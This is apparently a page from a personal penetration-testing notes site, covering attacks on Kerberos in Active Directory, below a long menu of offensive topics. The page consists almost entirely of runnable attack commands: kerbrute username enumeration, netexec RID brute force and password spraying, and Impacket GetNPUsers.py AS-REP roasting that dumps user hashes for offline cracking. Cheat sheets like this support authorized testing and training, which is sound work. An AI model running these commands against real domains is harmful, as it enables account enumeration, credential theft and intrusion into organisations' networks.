🤯
Hacker Mind
  • Penetration Testing Notes
    • 00 - Kali Linux Preparation
    • Page 1
    • Web Application (80/443)
      • XSS
      • LFI / Path Traversal
      • Wordpress
    • SMB (445)
    • LDAP
    • MSRPC (135)
    • MSSQL
    • Kerberos (88/tcp)
    • DNS (53)
    • IPv6
    • Import Nessus to Metasploit
  • STUCK? Look at this :D
  • Buffer Overflow
    • WinDbg
    • BoF Script Python
  • Active Directory Recon
    • Username Generation
    • PowerView
    • BloodHound
    • Flooding Attack
  • Payload
    • Sendemail
    • Phishing Payload
    • Bypass All The Things
      • AppLocker
      • MSBuild Shell
      • C# Runner
      • Payload Mod
      • Powershell
      • Bypass AV Linux
        • C Runner
  • Exploit
    • Brute Force
    • File Upload
    • Cracking
    • Shell & Stabilization
    • Database
    • MSSQL Injection
  • Tradecraft
    • Invoke-ReflectivePEInjection
  • Metasploit
    • Meterpreter Tricks
  • Privilege Escalation
    • Lateral Movement
    • Linux
    • Windows
  • Post Exploit
    • Active Directory
      • Kerberos
      • ACLs/ACEs
      • DCSync
      • Golden Ticket with krbtgt
      • LAPS
      • Page
      • Impersonate Token
    • Pivoting
      • Pivot in a Case
    • Transfer File
    • Exfiltration
    • Persistence
  • WiFi Pentesting
    • WPA-PSK
    • WPA-E (hostapd)
    • Attack WEP
    • Evil Twin - Wi-Fi
    • WPA3 Downgrade
  • Hardware Hacking
    • Information Gathering
  • Practice & Lab
Powered by GitBook
On this page
  • Kerberos needs sync time between client and server
  • Don't know username?
  • RID Bruteforce
  • Do you have many user list from valid RID Enum?
  • Do you have username?
  1. Penetration Testing Notes

Kerberos (88/tcp)

Kerberos needs sync time between client and server

sudo ntpdate $IP

Don't know username?

Bruteforce:

kerbrute userenum --dc $IP -d <domain> /usr/share/wordlist/SecLists/Usernames/xato-net-10-million-usernames.txt

Or you can identify/validate with netexec:

make sure that you register the domain to /etc/hosts

netexec smb $IP -k -u '<username>' -p ''

# error:   
# exist --> "KDC_ERR_PREAUTH_FAILED"
# not exist --> "KDC_ERR_C_PRINCIPAL_UNKNOWN"

RID Bruteforce

dump all account with known username:

netexec smb $IP -u 'guest' -p '' --rid-brute | tee output.txt


#sort the output
grep User output.txt| awk '{print $6}' | awk -F\\ '{print $2}' |sort -u |grep -v '\$$' |tr '[:upper:]' '[:lower:]'

Do you have many user list from valid RID Enum?

(all users must lower case)

netexec smb $IP -u users.txt -p users.txt --no-bruteforce --continue-on-success

Do you have username?

Collect:

  1. Domain

  2. Username

  3. set domain to /etc/hosts

GetNPUsers.py can be used to retrieve domain users who do not have "Do not require Kerberos preauthentication" set and ask for their TGTs without knowing their passwords. It is then possible to attempt to crack the session key sent along the ticket to retrieve the user password.

GetNPUsers.py -no-pass <domain>/<username>

GetNPUsers.py -no-pass realcorp.htb/j.nakazawa

do you have a lot of usernames?

GetNPUsers.py test.local/ -dc-ip 10.10.10.1 -usersfile usernames.txt -format hashcat -outputfile hashes.txt

PreviousMSSQLNextDNS (53)

Last updated 8 months ago

Then crack the hash ->

https://hacker-mind.gitbook.io/hacker-mind/exploit/cracking#kerberost-hash
result